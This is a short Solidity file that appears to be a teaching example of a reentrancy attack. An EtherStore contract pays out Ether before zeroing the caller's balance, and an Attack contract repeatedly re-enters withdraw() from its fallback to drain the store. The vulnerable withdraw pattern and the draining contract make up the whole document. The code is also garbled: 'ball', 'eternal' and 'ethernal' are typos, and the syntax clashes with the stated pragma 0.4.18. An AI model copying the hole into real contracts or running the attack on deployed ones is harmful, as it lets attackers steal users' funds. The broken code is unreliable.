pragma solidity ^0.4.18; contract EtherStore { mapping(address => uint) public balances; function deposit() public payable{ balances[msg.sender] += msg.value; } function getBalance() public view returns (uint){ return address(this).balance; } function withdraw() public{ uint bal = balances[msg.sender]; require (bal>0); (bool sent, ) = msg.sender.call{value:ball}(""); require(sent,"Failed to send Ether"); balances[msg.sender]=0; } } contract Attack{ EtherStore public etherStore; constructor (address _etherStoreAddress){ etherStore = EtherStore(_etherStoreAddress); } fallback() eternal payable{ if(address(etherStore).balance >= 1 ether){ etherStore.withdraw(); } } function attack() ethernal payable{ require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } function getBalance() public view returns (uint){ return address(this).balance; } }
0.4.18